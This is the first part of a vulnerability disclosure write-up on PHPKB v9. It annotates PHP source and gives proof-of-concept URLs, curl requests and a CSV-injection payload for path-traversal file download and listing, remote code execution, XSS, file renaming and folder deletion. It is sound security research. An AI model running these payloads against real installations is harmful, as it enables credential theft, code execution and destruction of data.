Analyzing PHPKB v9: Part one

This article has been split into three parts; other parts can be found below:

Part 2: Part 2

Part 3: Part 3

Introduction

PHPKB is a knowledge management software that allows you to share information with your customers and staff members. It reduces the time spent on customer support, improves the productivity of employees and saves precious time wasted on searching for information. A knowledgebase system enables your staff and customers to access information locally or online. Its powerful group-based permission structure with private categories makes it easy to target and deliver, content to specific groups of knowledge base readers. It has a lot of features such as creating, deleting and editing:

The knowledgebase can be managed by different types of users, each of them having different roles:

I’ve found different types of vulnerabilities, below there is an explanation for each of them:

Code snippets will be presented in order to explain the vulnerabilities and related exploits/proof of concepts.

Authenticated Arbitrary File Download (CVE-2020-10387)

Exploitable by: Superuser

Vulnerable file: admin/download.php

<?php
$authority_level = 'SEW'; 
include( __DIR__ . '/include/check-authority.php'); //Checks if we are logged in as Superuser/Translator/Writer/Editor
if(trim($_GET['called'])=='ajax'){ //If the GET parameter 'called' is set to ajax
	if($GLOBALS['session_admin_level']=='Superuser'){//If the logged in user is a Superuser then the backup functions are loaded
		include_once('include/functions-backup.php');
	}
//Skipped some code
		case 'backup-lang':
			$file	= trim($_GET['file']); // The GET parameter file contains the file that is going to be downloaded
			$folder	= trim($_GET['act'])=='backup-conf'?'include/':'languages/';
			if(file_exists($folder.$file)){
				$code		= (trim($_GET['act'])=='backup-conf'?'':'language-').substr($file, 0, strrpos($file,'.'));
				$file_name	= Get_Filename($code, '.bak', true);
				$data		= file_get_contents($folder.$file); // The PHP file_get_contents is used to retrieve the content of a file into a string
				Download_File($file_name, $data, false, true); //Then the file is downloaded
				exit();
			}

As we can see, user input is directly passed to file_get_contents without any filtering, we can use ../ to download files from upper directories. This proof of concept will download PHPKB’s configuration file, exposing SMPT and database credentials:

[PHPKB]/admin/download.php?called=ajax&act=backup-lang&file=../include/configuration.php

Authenticated Arbitrary File Download

Remote Code Execution (CVE-2020-10386)

Exploitable by: Superuser/Editor/Writer/Translator

Vulnerable file: admin/imagepaster/image-upload.php

<?php
if($_SESSION['admin_id_Session_ML']==''||$_SESSION['admin_username_Session_ML']==''){ // Checks if we are logged in
	json_error('Access Denied. Please login to continue.');
}
// Skipped some code
$mime = !empty( $_POST['imgMime'] ) ? $_POST['imgMime'] : null; // The POST parameter imgMime is used to specify the Mime Type of the image
$name = !empty( $_POST['imgName'] ) ? $_POST['imgName'] : null; // The POST parameter imgName is used to specify the filename 
// Skipped some code
$parts 	= explode('/', $mime); // Split the Mime Type string at the slash
$ext 	= empty( $parts[1] ) ? 'png' : $parts[1]; // If the part after the slash is empty, set the file extension to png, else set the file extension to the string after the slash
// Skipped some code, file is uploaded to a temporary fixed directory
$target = $targetPath.'/'.$imageName.'.'.$ext; // There are two vulnerabilities here, the former is that $imageName is not filtered so we can move in upper directories, the latter is that $ext is not checked against a whitelist or blacklist, so we can control directly the file extension
	$source = $_FILES['file']['tmp_name']; // Grabbing temporary file location
	move_uploaded_file( $source, $target ); // Moving file to from the temporary directory to the chosen directory

This file is called when the current logged in user tries to drop a file into the WYSIWYG editor. We are going to put our proof of concept file under the /js/ directory as there is no .htaccess file blocking the upload. To exploit this vulnerability, an attacker must set the imgMime POST parameter to image/php, the imgName POST parameter to ../js/example.php and the proof of concept file that is going to be dragged and dropped must contain executable code:

Remote Code Execution

Blind Cross-Site Scripting (CVE-2020-10388)

Exploitable by: Anyone, even external users

Vulnerable file: include/functions-articles.php (linked to article.php, exploitable via the Referer header), triggered at admin/report-referrers.php

File: article.php

<?php
// Skipping some includes
include('include/functions.php'); // Includes common functions inside article.php
// Skipping some code and includes
		Knowledgebase_Analytics(); // Vulnerable function is called, we need to dig into include/functions.php

File: include/functions.php

<?php
// Skipping some code and includes
	case 'article.php':
		include( __DIR__ . '/functions-inline-edit.php'); // The function Knowledgebase_Analytics(); isn't found here
		include( __DIR__ . '/functions-article.php'); // The function Knowledgebase_Analytics(); is detailed here
		include( __DIR__ . '/functions-articles-display.php'); // The function Knowledgebase_Analytics(); isn't found here
		break;

File: include/functions-articles.php

<?php
// Skipping some code
function Knowledgebase_Analytics() //The function is defined here
{ // Skipping some code
		$referrer_url = urlencode($_SERVER['HTTP_REFERER']); //The header is grabbed and url encoded
// Skipping sanitization code (anti sql-injection) (although I wish it wasn't sanitized :P)
		mysqli_query($GLOBALS['connection'], "INSERT INTO phpkb_referrers (referrer,referrer_url,referrer_date_time,article_id) VALUES('$referrer','$referrer_url',NOW(),{$GLOBALS['artid']})"); //The header is saved into the database
}

In the last step, the Referer header is saved into the database. The file admin/report-referrers.php allows a Superuser to check all the Referer headers that have been submitted to the knowledgebase:

File: admin/report-referrers.php

<?php
$authority_level= 'S'; //Accessible only by the admin
// Skipping some code
//$google/$yahoo/$bing/$other is the number of Referer headers sorted by hostname
//$date_range, is used when we want to restrict the search of Referer headers by date
//$id is used when we want to search for Referer headers tied to a specific article, rather than all articles
if($google){
	$google	= "<a id=\"google_link_id\" href=\"javascript:;\" onclick=\"javascript:commonOperations('referrer-detail||google_output||google_link_id||google||via-link||{$google}||{$date_range}||0||{$id}||1');\" title=\"View Detail\">{$google} <i class=\"fa fa-chevron-circle-down text-primary\"></i></a>";
}
if($yahoo){
	$yahoo	= "<a id=\"yahoo_link_id\" href=\"javascript:;\" onclick=\"javascript:commonOperations('referrer-detail||yahoo_output||yahoo_link_id||yahoo||via-link||{$yahoo}||{$date_range}||0||{$id}||1');\" title=\"View Detail\">{$yahoo} <i class=\"fa fa-chevron-circle-down text-primary\"></i></a>";
}
if($bing){
	$bing	= "<a id=\"bing_link_id\" href=\"javascript:;\" onclick=\"javascript:commonOperations('referrer-detail||bing_output||bing_link_id||bing||via-link||{$bing}||{$date_range}||0||{$id}||1');\" title=\"View Detail\">{$bing} <i class=\"fa fa-chevron-circle-down text-primary\"></i></a>";
}
if($other){
	$other = "<a id=\"other_link_id\" href=\"javascript:;\" onclick=\"javascript:commonOperations('referrer-detail||other_output||other_link_id||other||via-link||{$other}||{$date_range}||0||{$id}||1');\" title=\"View Detail\">{$other} <i class=\"fa fa-chevron-circle-down text-primary\"></i></a>";
}

As we can see, the Referer retrieval is done by a Javascript function. Two external Javascript file are included in the page:

File: admin/report-referrers.php

<script src="js/ajax.js" type="text/javascript"></script>
<script src="js/common.js?v1.0.5" type="text/javascript"></script>

The first javascript file contains the ajaxObj function, which is a XMLHttpRequest custom wrapper, the second javascript file details how the Referer headers are retrieved from the database.

File: js/common.js

// Skipping some code
function commonOperations(params)
{
	var _array	= params.split('||'); //A string is split using the || delimiter
// Skipping some code
// The function commonOperations is a very large function with a lot of switches, we'll focus on the vulnerable case
		case 'referrer-detail': // Show referrer detail for selected period
			var _tr_id = _array[3]+'_tr';
			var _vis= jQuery('#'+_tr_id).is(":visible");
			var _hid= jQuery('#'+_tr_id).is(":hidden");
 
			if(_array[4]=='via-btn'){
				// Do nothing...
			}
			else{
				jQuery('#'+_tr_id).toggle({easing: 'swing'});
			}
 
			if((!_vis && _hid)||_array[4]=='via-btn'){
				_call		= 'yes';
				_divid		= _array[1];
				jQuery('#'+_array[2]).html(_array[5]+' <i class="fa fa-chevron-circle-up text-danger"></i>');
				var _range	= _array[6];
				_params		= "called=ajax&act="+_action+'&output='+_divid+'&linkid='+_array[2]+'&type='+_array[3]+'&cnt='+_array[5]+'&range='+_range+'&sf='+_array[7]+'&id='+_array[8]+'&page='+_array[9]; //The URL of the request that is going to be passed to ajaxObj is defined
			}
			else{
				jQuery('#'+_array[2]).html(_array[5]+' <i class="fa fa-chevron-circle-down text-primary"></i>');
			}
			break;
// Skipped some code
		new ajaxObj('include/operations.php', _divid, '', _params); //The request is sent to include/operations.php

File: include/operations.php

// Skipping some code
			case 'referrer-detail':
		if($_SESSION['admin_level_Session_ML']=='Superuser') //If we are logged in as Superuser
				{ //All the parameters are extracted from the POST request made with axajObj
					$linkid		= trim($_POST['linkid']);
					$type		= trim($_POST['type']);
					$main_cnt	= (int)(trim($_POST['cnt']) > 0 ? trim($_POST['cnt']) : 0);
					$date_range	= trim($_POST['range']);
					$start_from	= (int)(trim($_POST['sf']) > 0 ? trim($_POST['sf']) : 0);
					$id		= (int)(trim($_POST['id']) > 0 ? trim($_POST['id']) : 0);
					$page		= (int)trim($_POST['page']);
// Skipping some code
					$array		= explode('to', $date_range); //Split the string at the 'to' delimiter
					$from		= trim($array[0]); //First part of the array is the starting date
					$to			= trim($array[1]); //Last part of the array is the ending date
// Skipping some code
						$type = sanitizeInput($type); //The type variable is sanitized (for sql-injection)
						$WHERE_part	= " WHERE (DATE(referrer_date_time) BETWEEN '".sanitizeInput($from)."' AND '".sanitizeInput($to)."') AND referrer IN({$type_query}) ".($id > 0 ? " AND article_id={$id}" : '')." AND phpkb_articles.article_id=phpkb_referrers.article_id {$AND_Language_Query}"; //The where part in the final sql statement is made
						$query	= "	SELECT referrer_id, referrer_url, referrer_date_time, phpkb_articles.article_id 
									FROM phpkb_referrers, phpkb_articles 
									{$WHERE_part} 
									ORDER BY referrer_date_time DESC 
									LIMIT {$start_from},{$results_perpage}";
						$result	= mysqli_query($GLOBALS['connection'], $query); //The query that retrieves the Referer header URLs is made and executed
// Skipping some code
							while($row = mysqli_fetch_assoc($result)) //For each row returned by the last query
							{
								$origin	= urldecode($row['referrer_url']);
								$url	= parse_url(urldecode($row['referrer_url']));
								$domain	= $url['host']; //Here lies the vulnerability, the host is extracted from the Referer header without being sanitized
								$path	= $url['path'];
								$date	= convertDateTime($row['referrer_date_time'],1,'b','at');
								$title	= mysqli_result(mysqli_query($GLOBALS['connection'], 'SELECT article_title FROM phpkb_articles WHERE article_id='.$row['article_id']),0,0);
								$title	= $title=='' ? $unknown_tpl : "<a href=\"{$GLOBALS['path_kb']}/article.php?id={$row['article_id']}\" target=\"_blank\" class=\"text-success\">{$title}</span></a> ";
								$host   = $domain; //The value of domain variable is passed to the host variable
// Skipping some code
								$tableRows .= "<tr>
													<td width=\"7%\">$sno</td>
													<td width=\"23%\">{$host}</td>
													<td width=\"25%\">{$keywords}</td>
													<td>{$title}</td>
													<td width=\"18%\">{$date}</td>
												</tr>"; //The Referer header is printed without being sanitized, the Cross-Site Scripting is triggered

Proof of concept:

Blind XSS #1

Authenticated Remote Code Execution (CVE-2020-10389)

Exploitable by: Superuser

Vulnerable file: admin/save-settings.php allows overwriting, exploit code stored at admin/include/configuration.php, triggered at index.php (or any file that includes admin/include/configuration.php)

File: admin/save-settings.php

<?php
if($session_admin_level=='Superuser') //Check if we are logged in as Superuser
{
	if($_POST['submit']=='' && $_POST['submit_hd']==''){ //If the POST parameters submit and submit_hd are empty, redirect to index.php
		header('location:index.php');
		exit();
	}
// Skipping some code
//There are like 50+ injection points for Remote Code Execution, I'll take for example the first one
		$putdown_for_maintenance = $_POST['putdown_for_maintenance']!='' ? $_POST['putdown_for_maintenance'] : 'no'; //The variable $putdown_for_maintenance contains the value that is passed to the POST parameter putdown_for_maintenance, that is to say, user controlled input
// Skipping some code
//PHP_EOL = End of line, this caught my eye as I was 100% sure that something was going to be written into a file
		$configure = "<?php".PHP_EOL;
		$configure .= "// WARNING: Do not make any changes directly in this file as it may make the 'PHPKB Knowledge Base Software' to stop working properly.".PHP_EOL.PHP_EOL;
 
		$configure .= "// PHPKB Professional Status Settings ".PHP_EOL;
		$configure .= "\$putdown_for_maintenance  = '{$putdown_for_maintenance}';".PHP_EOL.PHP_EOL; //Our variable is written into a file
 
		$configure .= "// General Settings ".PHP_EOL;
		$configure .= "\$kbName		= \"".stripslashes($kbName)."\";".PHP_EOL;
// Skipping some code
				$fp = fopen('include/configuration.php', 'wb'); //We are going to open a PHP file with write-bytes mode
				if($fp) // The file was opened OK, let's write to it
				{
					fwrite($fp, $configure); //User controlled input is written directly into a PHP file, time for Remote code execution
					fclose($fp);

We can trigger Remote Code Execution thanks to PHP’s built-in system(); function. The following proof of concept will show the output of the command “dir”:

Authenticated Remote Code Execution

Out of Band (blind) Authenticated Remote Code Execution (CVE-2020-10390)

Exploitable by: Superuser

Vulnerable file: include/functions-article.php, triggered after saving the new pdf generator path at admin/save-settings.php (different vector than the authenticated remote code execution I just described)

File: admin/save-settings.php

<?php
if($session_admin_level=='Superuser') //Check if we are logged in as Superuser
{
	if($_POST['submit']=='' && $_POST['submit_hd']==''){ //If the POST parameters submit and submit_hd are empty, redirect to index.php
		header('location:index.php');
		exit();
	}
// Skipping some code
			$wkhtmltopdf_path	= function_exists('get_magic_quotes_gpc') && get_magic_quotes_gpc()===1 ? trim(stripslashes($_POST['wkhtmltopdf_path'])) : trim($_POST['wkhtmltopdf_path']); //The variable $wkhtmltopdf_path contains the value that is passed to the POST parameter wkhtmltopdf_path, that is to say, user controlled input
// Skipping some code
//PHP_EOL = End of line, same as the last remote code execution, the configuration is written to a file
		$configure = "<?php".PHP_EOL;
// Skipping some code
		$configure .= "\$wkhtmltopdf_path			= \"$wkhtmltopdf_path\";".PHP_EOL; //The wkhtmltopdf_path is prepared to be written in admin/include/configuration.php
// Skipping some code
				$fp = fopen('include/configuration.php', 'wb'); //We are going to open a PHP file with write-bytes mode
				if($fp) // The file was opened OK, let's write to it
				{
					fwrite($fp, $configure); //Overwriting the wkhtmltopdf_path
					fclose($fp);

The new wkhtmltopdf_path is placed inside the configuration file, from now on, it can be referenced in other parts of the web application. The official website of wkhtmltopdf says: wkhtmltopdf and wkhtmltoimage are open source (LGPLv3) command line tools to render HTML into PDF and various image formats using the Qt WebKit rendering engine. These run entirely “headless” and do not require a display or display service. PHPKB has a feature that allows anyone to generate a pdf copy of an article, managed by export.php:

File: export.php

<?php
// Skipping some includes
include('include/functions.php');
// Skipping some includes
$artid = (int)trim($_GET['id']); //The id of the article we want to export as pdf
if($artid > 0)
{
	if($_GET['type']=="PDF"){ //If the GET parameter is set to PDF, then call the function Articles_Detail();
		Articles_Detail('PDF');
	}
	else{
		Articles_Detail('MSWORD');
	}
}
else{
	echo "<h1>Access Denied</h1>";	
}
?>

Digging into include/functions.php, we find a reference to another include:

File: include/functions.php

<?php
	case 'email.php':
	case 'export.php':
	case 'ajax.php':
	case 'subscribe.php':
		include( __DIR__ . '/functions-article.php');
		break;

Let’s take a look at the new include:

File: functions-article.php

<?php
// Skipping some code and includes
						$WKHTMLTOPDF = $GLOBALS['wkhtmltopdf_path']; //The wkhtmltopdf_path value, read from the configuation file, is assigned to the variable $WKHTMLTOPDF
// Skipping some code
						$output		= shell_exec("$WKHTMLTOPDF {$footerCmd} {$headerCmd} $html_path $pdf_path"); //A user controlled input is passed directly into shell_exec, a function that allows code execution

This remote code execution is blind: the attacker can execute code but is unable to see the results of the executed code. In order to confirm the vulnerability, we are going to craft a proof of concept that will execute a ping request to our server:

Blind Remote Code Execution

Reflected Cross-Site Scripting in every admin page (CVE BLOCK GOING FROM CVE-2020-10391 TO CVE-2020-10456)

Exploitable by: Superuser/Editor/Writer

Vulnerable file: admin/header.php

The Cross-Site Scripting is triggered in these webpages:

For example, let’s analyze admin/add-article.php, one of the list items written above:

File: admin/add-article.php

<?php
$authority_level= 'SEW'; //Checks if we are logged in as a Superuser/Editor/Writer
// Skipping some code and includes
include( __DIR__ . '/include/check-authority.php'); //The vulnerable variable is defined here
// Skipping some code and includes
			<!-- Header - STARTS -->
			<?php include_once('header.php'); ?> //The vulnerable variable is echoed here
			<!-- Header - ENDS -->

File: admin/include/check-authority.php

<?php
// Skipping some code
$REQUEST_URI= $_SERVER['REQUEST_URI']; //Fetch the URI of the current page
$_tmp_array	= explode('/',$REQUEST_URI); //Split the URI for each /
// Skipping some code
$lang_header = $_tmp_array[count($_tmp_array)-1]; //Fetch the current executing script (without parent folders) and the parameters passed to the URI (notice that no sanitization happens)

File: admin/header.php

<?php
// Skipping some code
					<button type="button" class="btn btn-warning" data-dismiss="modal" onclick="<?php echo "commonOperations('lang-change-alert||0||0||{$lang_header}||{$_GET_exists}||{$HIDDEN_lang_id}')"; ?>">Yes, do it</button> //The variable $lang_header is printed without being sanitized, Cross-Site Scripting occurs

Some proof of concepts:

Universal XSS 1 Universal XSS 2 Universal XSS 3

Arbitrary File Renaming (CVE-2020-10457)

Exploitable by: Superuser/Editor/Writer/Translator

Vulnerable file: admin/imagepaster/image-renaming.php

<?php
// Skipping some code and includes
$imgUrl 	= trim( $_POST['imgUrl'] ); //The variable $imgUrl contains the path of the image that you want to be renamed, taken from the POST parameter imgUrl
$imgNewName =  trim( $_POST['imgName'] ) ; //The varible $imgNewName contains the new image name, taken from the POST parameter imgName
// Skipping some code
if(!rename($imgRelPath,$newRelPath)){ //The renaming is done here, using PHP's built-in function rename(); if there is an error, print a message
	json_error('Error in renaming file.');
}

Since there isn’t any check on the extension, we can rename any file we want. In order to cause a Denial of service, we can rename the admin/include/configuration.php file. Proof of concept:

curl --cookie "phpkb-rvaids=1; PHPSESSID=XYZXYZXYZ" -d "imgUrl=../../assets/../admin/include/configuration.php&imgName=test" [PHPKB]/admin/imagepaster/image-renaming.php

Arbitrary File Renaming

Arbitrary Folder Deletion (CVE-2020-10458)

Exploitable by: Superuser/Editor/Writer/Translator

Vulnerable file: admin/assetmanager/operations.php

<?php
include_once('../include/session-check.php'); //Checks if we are logged in
// Skipping some code
$_action 	= $_GET['action']; //The value from the GET parameter action is assigned to the $_action variabke, defines what we want to do, in our case, delete a folder
$crdir 		= trim(urldecode($_GET['crdir'])); //The value from the GET parameter crdir is assigned to the $crdir variable, represents the folder that we want to delete
switch($_action)
{
$dir = $crdir; //The content of the variable $crdir is copied inside $dir
// Skipping some code
	case 'df': //If $_action equals df, then we are deleting a folder
		$handle = opendir($dir); //Opens directory handle
		while($file = readdir($handle)) if($file != "." && $file != "..") unlink($dir . "/" . $file); //Deletes all the files
		closedir($handle); //Closes directory handle

The following proof of concept will delete a folder located in the root directory (C:):

[PHPKB]/admin/assetmanager/operations.php?action=df&crdir=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Ftestf

Arbitrary Folder Deletion 1

The following proof of concept will delete the admin/include folder, causing a denial of service:

[PHPKB]/admin/assetmanager/operations.php?action=df&crdir=..%2Finclude

Arbitrary Folder Deletion 1

CSV Injection (CVE-2020-10460)

Exploitable by: Superuser

Vulnerable file: admin/include/operations.php

A Superuser can export e-mails found in the knowledgebase in .csv format via admin/email-harvester.php

File: admin/email-harvester.php

<script src="js/harvester.js" type="text/javascript"></script> //This javascript file handles the csv creation process, let's analyze it

File: admin/js/harvester.js

		case 'export-csv':
			if(f.extractedmails.value==''){ //If there are no e-mails extracted, show an error
				jQuery('#atleast_one_email').modal('show'); 
				//alert('Specify at least one email address for export to csv'); 
				return;
			}
			var data 	 = f.extractedmails.value.replace(/\n\r?/g, '||'); //Replace newlines with ||
			passParams  += 'data='+encodeURI(data);
			passParams  += '&called=ajax&act=harvest&sub_act=csvexport'; //Prepare the parameters that are going to be sent to the server
 
			$.ajax({
				url:"include/operations.php", //Send the parameters to include/operations.php
				type:"post",
				data:passParams,
				success:function(result){
		      		$("#"+subject_id).html(result);
					$('html, body').animate({
					    scrollTop: $("#"+subject_id).offset().top-60
					}, 2000);
		    	}
		    });
		break;

File: admin/include/operations.php

<?php
//These are the parameters sent by the javascript file:
//&called=ajax&act=harvest&sub_act=csvexport
// Skipping some code and includes
	if(trim($_POST['called'])=='ajax') //First condition is met
	{
		switch(trim($_POST['act'])){//Switch case, looking for the value of the POST parameter act, which should be harvest
			case 'harvest': //Case harvest found
				if($_SESSION['admin_level_Session_ML']=='Superuser'){ //If we are logged in as a Superuser
					$subAction = trim($_POST['sub_act']); //The content of the POST parameter sub_act is copied into the $subAction variable
					include_once(__DIR__ . '/functions-harvest.php'); //The functions needed are loaded
					switch($subAction){//Switch case, looking for the value csvexport
						case 'extract': // Skipping this case
							displayEmails();
						break;
						case 'csvexport': //Case found
							$download_image	= '<img src="images/download.png" style="vertical-align:middle;" alt="Download" /> ';
							$_data 			= explode('||',str_replace(',','||',urldecode($_POST['data'])));
							$_emails 		= validateInput($_data); //We will look later for this function
							if(is_array($_emails))
							{
								$_filename	= generateFilename(); //A new random filename is created
								//if(exportAsCSVManual($_filename, array('Email Address'=>$_emails))){
								if(exportAsCSV($_filename, array('Email Address'=>$_emails))){ //The CSV file is created, we will look later at this function
									echo "<div class=\"alert alert-success\">
											<button type=\"button\" class=\"close\" data-dismiss=\"alert\" aria-hidden=\"true\">&times;</button>
											CSV File has been generated successfully. <a class=\"alert-link\" href=\"{$GLOBALS['path_kb']}/admin/backups/$_filename\" target=\"_blank\" title=\"Click to Download\">$download_image Download</a></div>";
								}else{
									echo"<div class=\"alert alert-danger\">$error_image<strong>Error:</strong> $_error</div>";
								}
							}
						break;
						default: echo $denied_message;
					}
				}
				break;

File: admin/include/functions-harvest.php

<?php
// Skipping some code
function validateInput($_data=array())
{
	foreach($_data as $email) //For every email detected by the harvester
	{
		if(trim($email)!=''){ //If the email is not a empty string
			if(!preg_match("/\w+([-+.]\w+)*@\w+([-.]\w+)*\.\w+([-.]\w+)*/", $email)){ //If the regular expression doesn't match the email, throw an error
				echo '<div class="info red-text" style="margin-bottom:5px;">
						<strong>Error:</strong>
						<p>Invalid email address supplied for export to csv.</p>
					 </div>';
				return;			 
			}else{
				$_validatedEmails[] = $email; //Else, if the email matches the regular expression, add it to _validatedEmails array	
			}
		}
	}
 
// Skipping some code
 
function exportAsCSV($filename='', $data=array(), $header = true)
{ //Function that is responsible of creating and writing the csv file
	global $_error; 
	$line = $comma = '';
	if(!$fp = fopen('../backups/'.$filename, 'wb+')){ //If we don't have permission to write in the ../backups/ folder, throw an error
		$_error = 'Couldn\'t create the output file: <strong>'.$filename.'</strong>.';
		return false;
	}
	if($header) { //Write the csv header, that is to say, the rows' name
		@fputcsv($fp, array_keys($data)); // output header row 
	}
	foreach($data as $key=>$emails){ //Write each email into the csv file	
		foreach($emails as $email){
			@fputcsv($fp, array($email));
		}
	}
	fclose($fp);
	return true;

The only check is done via this regular expression:

/\w+([-+.]\w+)*@\w+([-.]\w+)*\.\w+([-.]\w+)*/

The regular expression can be bypassed with this payload (designed to open calc.exe for demo purposes):

test@test.com||=2+5+cmd|' /C calc'!A0@test.com||||

CSV Injection

Blind Cross-Site Scripting #2 (CVE-2020-10461)

Exploitable by: Anyone, even external users

Vulnerable file: include/functions-article.php (linked to ajax-hub.php, exploitable via posting a comment at article.php), triggered at admin/manage-comments.php

Every time a user posts a comment on an article, the following GET request is sent to ajax-hub.php:

[PHPKB]/include/ajax-hub.php?usefor=AddComments&aid=1&nm=myname&em=my%40email.com&cmt=my%20comment&sc=captchacode

File: include/ajax-hub.php

<?php
// Skipping some code
if( $_POST['act']=='xedit-cmt' ){ //In our case we don't have a POST parameter act, so we jump into the else
// Skipping some code
}
else{ 
// Skipping some code
	include('hub.php'); //Including hub.php, we are going to analyze this file
}

File: include/hub.php

<?php
// Skipping some code and includes
	include('functions.php');
// Skipping some code
elseif($_GET['usefor']=='AddComments') //If the GET parameter usefor equals to AddComments then execute this code
{
	$article_id = (int)$_GET['aid']; $name = $_GET['nm']; $email = $_GET['em']; $comments = $_GET['cmt']; $scode= $_GET['sc']; //Copies value of GET parameters to variables
	$UseFor = 'After Post';
	echo Add_Comment($article_id); //The function Add_Comment is exectued, then echoed
}

File: include/functions.php

<?php
// Skipping some code
	case 'article.php':
		include( __DIR__ . '/functions-inline-edit.php'); //The function Add_Comment isn't detailed here
		include( __DIR__ . '/functions-article.php'); //The function Add_Comment is detailed here
		include( __DIR__ . '/functions-articles-display.php'); //The function Add_Comment isn't detailed here
		break;

File: include/functions-article.php

<?php
// Skipping some code and includes
function Add_Comment($article_id=0) { //The function Add_Comment is detailed here
// Skipping some code
	if($comments_allowed=='no'){ //If comments are 
		echo'<div><br/></div><div class="flagged-message-tpl orange-flag-tpl"><div class="content">'.$lang['article_section_disabled_text'].'</div></div>';
		return;
	}
	if($GLOBALS['UseFor']=='After Post') { //True because the global scope variable UseFor was set to After Post in include/hub.php
// Skipping some code
		if($name=='')		{ $errors .= "<li class=\"error-text\">{$lang['required_text']} ({$lang['name_text']})</li>";	 } //If the name is empty, throw an error
		if($comments=='')	{ $errors .= "<li  class=\"error-text\">{$lang['required_text']} ({$lang['comment_text']})</li>"; } //If the comment is empty, throw an error
// Skipping some code
			$detect_entities= array("<",">", "'", '"');
			$change_entities= array("&lt;", "&gt;", "&#39", "&quot;");
			$comments		= str_replace($detect_entities, $change_entities, $comments); // Some basic XSS filtering is done, however 
 
			if(mysqli_query($GLOBALS['connection'], "INSERT INTO phpkb_comments VALUES(0, $article_id, '$name', '$email', '$comments', NOW(), '$comment_status')")) //The variables $article_id, $name, $email, $comments, the date, and $comment_status are inserted into the database without being sanitized

In the last step the comment is saved into the database without being sanitized. The file admin/manage-comments.php allows a Superuser/Editor to check all the comments that have been submitted to the knowledgebase:

File: admin/manage-comments.php

<?php
// Skipping some code and includes
include( __DIR__ . '/include/check-authority.php'); //Checks if we are logged in as a Superuser/Editor
// Skipping some code
	$query			= "	SELECT * 
						FROM phpkb_comments {$left_outer_join}
						WHERE {$comments_fetch_query} {$article_id_query} {$articles_string} {$lang_part}
						{$orderby_query} 
						LIMIT {$from},{$range}"; //The query is prepared
	$results		= mysqli_query($GLOBALS['connection'], $query); //The query is executed
//Skipping some code
									$detect	= array("&acute;","&lsquo;","&rsquo;"," &amp; ","&quot;","&mdash;","&rsquo;","&#92;");
									$change	= array("´","‘","’"," & ",'"',"—","'","\\");
									while($record = mysqli_fetch_assoc($results))
									{
// Skipping some code
										$comment	= strip_tags(str_replace($detect, $change, htmlspecialchars_decode($record['comment']))); //Once the comment has been retrieved from the database, the function htmlspecialchars_decode() is used to convert the sanitized comment (in html entities) back to the original, unsanitized, comment (in characters)
// Skipping some code
													<a class=\"editlink_{$comment_id}\" data-value=\"{$comment}\" data-name=\"comment\" data-pk=\"{$comment_id}\" data-type=\"textarea\" id=\"{$e_prefix}{$comment_id}\" href=\"javascript:;\"><i class=\"fa fa-pencil {$hidden_xs}\"></i> <small class='btn btn-default btn-xs {$GLOBALS['visible_xs']}{$GLOBALS['hidden_sm']}{$GLOBALS['hidden_md']}{$GLOBALS['hidden_lg']}'><i class=\"fa fa-pencil\"></i> Quick Edit</small></a> //Here lies the vulnerability, the $comment variable is echoed back in the response without being sanitized (it was)

Proof of concept:

Blind Cross-Site Scripting #2

Arbitrary File Listing (CVE-2020-10459)

Exploitable by: Superuser/Editor/Writer/Translator

Vulnerable file: admin/assetmanager/functions.php

“AssetManager”, a small utility implemented by PHPKB, is used to manage all the files that have been uploaded. We have an option to upload files into different folders that are fixed by default. Inside the AssetManager there is an option to change the current working directory to the fixed ones, however there isn’t any check done on the back-end so we can tamper the request. This vulnerability arises because everytime we change the current working directory, the AssetManger shows all the files in that folder; this is the request that is being sent when we try to change the directory into a fixed one:

curl -i -s -k -X $'POST' \
    -H $'Host: localhost' -H $'User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8' -H $'Accept-Language: it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3' -H $'Accept-Encoding: gzip, deflate' -H $'Content-Type: application/x-www-form-urlencoded' -H $'Content-Length: 77' -H $'Origin: http://localhost' -H $'Connection: close' -H $'Referer: http://localhost/phpkb/admin/assetmanager/assetmanager.php' -H $'Cookie: phpkb-rvaids=1; PHPSESSID=to900ejgfjfp3bs0v722o1ggoi' -H $'Upgrade-Insecure-Requests: 1' \
    -b $'phpkb-rvaids=1; PHPSESSID=AUTHCOOKIE' \
    --data-binary $'inpFileToDelete=&inpCurrFolder=..%2F..%2Fassets%2Fimportcomplete&del_refresh=' \
    $'http://localhost/phpkb/admin/assetmanager/assetmanager.php?ffilter=&selView=list&forpdf='

We traverse directory by injecting our payload into the POST parameter inpCurrFolder; I’ve created a folder called test in the root directoy of my drive and I’m going to use this proof of concept to show the vulnerability:

curl -i -s -k -X $'POST' \
    -H $'Host: localhost' -H $'User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8' -H $'Accept-Language: it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3' -H $'Accept-Encoding: gzip, deflate' -H $'Content-Type: application/x-www-form-urlencoded' -H $'Content-Length: 208' -H $'Origin: http://localhost' -H $'Connection: close' -H $'Referer: http://localhost/phpkb/admin/assetmanager/assetmanager.php' -H $'Cookie: phpkb-rvaids=1; PHPSESSID=to900ejgfjfp3bs0v722o1ggoi' -H $'Upgrade-Insecure-Requests: 1' \
    -b $'phpkb-rvaids=1; PHPSESSID=to900ejgfjfp3bs0v722o1ggoi' \
    --data-binary $'inpFileToDelete=&inpCurrFolder=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Ftest&del_refresh=' \
    $'http://localhost/phpkb/admin/assetmanager/assetmanager.php?ffilter=&selView=list&forpdf='

Arbitrary File Listing